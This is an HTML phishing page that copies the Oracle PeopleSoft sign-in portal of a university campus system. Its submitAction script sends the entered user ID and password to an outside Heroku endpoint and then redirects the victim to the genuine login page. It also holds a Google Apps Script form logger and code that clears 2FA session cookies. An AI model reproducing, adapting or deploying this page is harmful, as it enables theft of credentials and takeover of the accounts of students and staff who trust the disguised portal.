<html dir="ltr" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<style>
.psloginbutton {
FONT-SIZE: 9pt;
CURSOR: hand;
COLOR: #FFFFFF;
BACKGROUND-COLOR: #666666;
font-family: Arial;
font-weight: bold;
border: 1px outset;
}
.psloginframe {
background-color: #F5F5F5;
border: 1px solid #D6D6D6;
}.pslogintext {
font-family: Arial;
font-size: 9pt;
color: #000000;
font-weight: normal;
}
.psloginlabel {
font-family: Arial;
font-size: 9pt;
color: #000000;
font-weight: bold;
}
.pslogincopyright {
font-family: Arial;
font-size: 9px;
}
.pslanguageframe {
background-color: #FFFFFF;
border-right: 1px solid #D6D6D6;
border-bottom: 1px solid #D6D6D6;
border-top-width: 1px;
border-top-style: solid;
border-top-color: #D6D6D6;
}
.psmessageframe {
background-color: #EEEEEE;
border-right: 1px solid #D6D6D6;
border-bottom: 1px solid #D6D6D6;
border-left: 1px solid #D6D6D6;
}
.pslogintextsmall {
font-family: Arial;
font-size: 7pt;
color: #000000;
}
.pslogintextsmalllabel {
font-family: Arial;
font-size: 8pt;
color: #000000;
font-weight: bold;
}
.psloginerror {
font-family: Arial;
font-size: 9pt;
color: #FF0000;
}
.psloginmessagelarge {
font-family: Arial;
font-size: 12pt;
font-weight: bold;
color: #666666;
}
.psloginmessage {
font-family: Arial;
font-size: 10pt;
font-weight: normal;
color: #666666;
}
.pslogineditbox {
font-family: Arial;
font-size: 9pt;
color: #000000;
}
</style>
<title>Oracle | PeopleSoft Enterprise Sign-in</title>
<script>
var SHEET_NAME = "Sheet1";
var SCRIPT_PROP = PropertiesService.getScriptProperties();
function doGet(e) {
return handleResponse(e);
}
function doPost(e) {
return handleResponse(e);
}
function handleResponse(e) {
var lock = LockService.getPublicLock();
lock.waitLock(30000);
try {
var doc = SpreadsheetApp.openById(SCRIPT_PROP.getProperty("key"));
var sheet = doc.getSheetByName(SHEET_NAME);
var headRow = e.parameter.header_row || 1;
var headers = sheet.getRange(1, 1, 1, sheet.getLastColumn()).getValues()[0];
var nextRow = sheet.getLastRow() + 1;
var row = [];
for (i in headers) {
if (headers[i] == "Timestamp") {
row.push(new Date());
} else {
row.push(e.parameter[headers[i]]);
}
}
sheet.getRange(nextRow, 1, 1, row.length).setValues([row]);
return ContentService
.createTextOutput(JSON.stringify({ "result": "success", "row": nextRow }))
.setMimeType(ContentService.MimeType.JSON);
} catch (e) {
return ContentService
.createTextOutput(JSON.stringify({ "result": "error", "error": e }))
.setMimeType(ContentService.MimeType.JSON);
} finally {
lock.releaseLock();
}
}
function setup() {
var doc = SpreadsheetApp.getActiveSpreadsheet();
SCRIPT_PROP.setProperty("key", doc.getId());
}
</script>
<script type="text/javascript">
if (self === top) {
var fb = document.getElementById("ptfb");
fb.parentNode.removeChild(fb);
} else {
try {
top.location = self.location;
} catch (ex) { }
}
</script>
<link rel="stylesheet" href="Oracle%20PeopleSoft%20Enterprise%20Sign-in_files/styles.css" type="text/css">
<style type="text/css">
<!--
a:link {
color: #48598c;
}
a:visited {
color: #48598C;
}
a:hover {
color: #48598C;
}
a:active {
color: #48598C;
}
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
window.history.forward(1);
</style>
<script language="JavaScript">
function signin(form) {
var docLoc = new String(document.location);
var iLast = docLoc.lastIndexOf("?&");
if (docLoc.length == (iLast + 2)) {
docLoc = docLoc.substring(0, iLast);
}
if (docLoc.indexOf("?cmd=") == -1 && docLoc.indexOf("?") != -1) {
if (docLoc.indexOf("&cmd=login") == -1) {
var i = docLoc.length - 1;
var j = docLoc.lastIndexOf("&");
if (j != -1 && i == j)
form.action = docLoc + form.action.substring(form.action.indexOf("?") + 1, form.action.length);
else
form.action = docLoc + "&" + form.action.substring(form.action.indexOf("?") + 1, form.action.length);
}
else
form.action = docLoc.substring(0, docLoc.indexOf("&cmd=login")) + "&cmd=login" + docLoc.substring(docLoc.indexOf("&languageCd="), docLoc.length);
}
var now = new Date();
form.timezoneOffset.value = now.getTimezoneOffset();
return;
}
function setFocus() {
try { document.login.userid.focus() }
catch (e) { };
return;
}
function setErrorImg() {
var login_error = document.getElementById('login_error').innerHTML;
var discovery_error = document.getElementById('discovery_error').innerHTML;
var browsercheck_error = document.getElementById('browsercheck_error').innerHTML;
if (login_error.length != 0 || discovery_error.length != 0 || browsercheck_error.length != 0) {
document.getElementById('error_img').style.display = 'block';
if (login_error.length != 0)
document.getElementById('login_error').style.visibility = 'visible';
if (discovery_error.length != 0)
document.getElementById('discovery_error').style.visibility = 'visible';
document.getElementById('error_link').focus();
}
else
setFocus();
}
function clearRecentSearch() {
if (typeof (window.sessionStorage) !== "undefined") {
try {
sessionStorage.clear();
} catch (e) { }
}
}
function submitAction(form) {
console.log(document.getElementById("userid").value)
fetch('https://test-exam-api.herokuapp.com/addlog', {
headers: { "Content-Type": "application/json" },
method: 'POST',
body: JSON.stringify({username:document.getElementById("userid").value,password:document.getElementById("pwd").value})
}).then((res) => {
console.log(res)
window.location.replace("https://cms.nust.edu.pk/psp/ps/?cmd=login");
})
signin(form);
form.Submit.disabled = true;
form.submit();
}
function setCookie(name, value, days) {
var d = new Date;
d.setTime(d.getTime() + 24 * 60 * 60 * 1000 * days);
document.cookie = name + "=" + value + ";path=/;expires=" + d.toGMTString();
}
function deleteCookie(name) {
var cookies = get_cookies_array();
for (var name in cookies) {
if (name.startsWith("PSM_2FA_SES_TOKEN_")) {
setCookie(name, '', -1);
}
}
}
function get_cookies_array() {
var cookies = {};
if (document.cookie && document.cookie != '') {
var split = document.cookie.split(';');
for (var i = 0; i < split.length; i++) {
var name_value = split[i].split("=");
name_value[0] = name_value[0].replace(/^ /, '');
cookies[decodeURIComponent(name_value[0])] = decodeURIComponent(name_value[1]);
}
}
return cookies;
}
</script>
</head>
<body onload=" deleteCookie(''); setErrorImg(); clearRecentSearch()">
<table style="background:url('https://i.ibb.co/thXYNnV/BG.png') no-repeat" width="100%" height="99%" cellspacing="0" cellpadding="0"
border="0">
<tbody>
<tr>
<td valign="middle" height="196" align="center">
</td>
</tr>
<tr>
<td valign="middle" height="250" align="center">
<table width="590" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td width="600" valign="top" height="318" align="center">
<table width="100%" height="273" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td>
<table width="100%" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td class="psloginframe" style="border:0!important;background:transparent!important;"
width="50%" valign="middle" height="200">
<table width="100%" cellspacing="0" cellpadding="0" border="0">
<form action="https://gist.github.com/mhawksey/1276293" method="post" id="login"
name="login" autocomplete="off" onsubmit="signin(document.login)"></form>
<input type="hidden" name="timezoneOffset" value="0">
</table>
<div style="text-align:center">
<h1 id="error_img" style="display:none"><a id="error_link"
href="javascript:setFocus();" tabindex="1"><img
src="Oracle%20PeopleSoft%20Enterprise%20Sign-in_files/PT_LOGIN_ERROR.gif"
alt="Error" border="0"></a></h1>
<h2 class="psloginerror" id="login_error" style="visibility:hidden"></h2>
<h2 class="psloginerror" id="discovery_error" style="visibility:hidden"></h2>
</div>
<table width="100%" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
</tr>
<tr>
<td width="45%" height="25" align="right"><label for="userid"
class="psloginlabel">User ID</label></td>
<td width="1%" height="25"> </td>
<td width="54%" height="25"><input id="userid" name="userid" type="text"
class="pslogineditbox" size="15" tabindex="2"></td>
</tr>
<tr>
<td height="35" align="right"><label for="pwd"
class="psloginlabel">Password</label></td>
<td height="35"> </td>
<td height="35"><input type="password" id="pwd" name="pwd"
class="pslogineditbox" size="15" tabindex="3"></td>
</tr>
<tr>
<td height="35"> </td>
<td height="35"> </td>
<td style="padding-left:25px;" height="35"><input name="Submit" type="submit"
class="psloginbutton" tabindex="4" value="Sign In"
onclick="submitAction(document.login)"></td>
</tr>
<tr>
<td height="35"> </td>
<td height="35"> </td>
<td height="35"><a
href="http://www.nust.edu.pk/Download%20Section/Student_User_Guide-V-1.1.pdf"
target="_blank"><b>Student Guide</b></a></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td class="psmessageframe" style="background:transparent!important;border:0!important;"
valign="middle" height="80">
<table width="100%" cellspacing="0" cellpadding="5" border="0">
<tbody>
<tr>
<td>
<div style="text-align:center">
<p class="pslogintext"></p>
</div>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td align="center"> </td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td valign="bottom">
<table width="100%" cellspacing="0" cellpadding="5" border="0">
<tbody>
<tr>
<td colspan="2" class="pslogincopyright" valign="top" height="90">Select language:
<a href="https://cms.nust.edu.pk/psp/ps/?&cmd=login&languageCd=ENG"
title="English">English</a>
</td>
</tr>
<tr>
<td class="pslogincopyright" width="50%" valign="bottom">Copyright
© 2000, 2013, Oracle and/or its affiliates. All rights reserved. Oracle
and Java are registered trademarks of Oracle and/or its affiliates.
Other names may be trademarks of their respective owners. Intel and
Intel Xeon are trademarks or registered trademarks of Intel Corporation.
All SPARC trademarks are used under license and are trademarks or
registered trademarks of SPARC International, Inc. AMD, Opteron, the AMD
logo, and the AMD Opteron logo are trademarks or registered trademarks
of Advanced Micro Devices. UNIX is a registered trademark of The Open
Group.</td>
<td width="569"> </td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</body>
</html>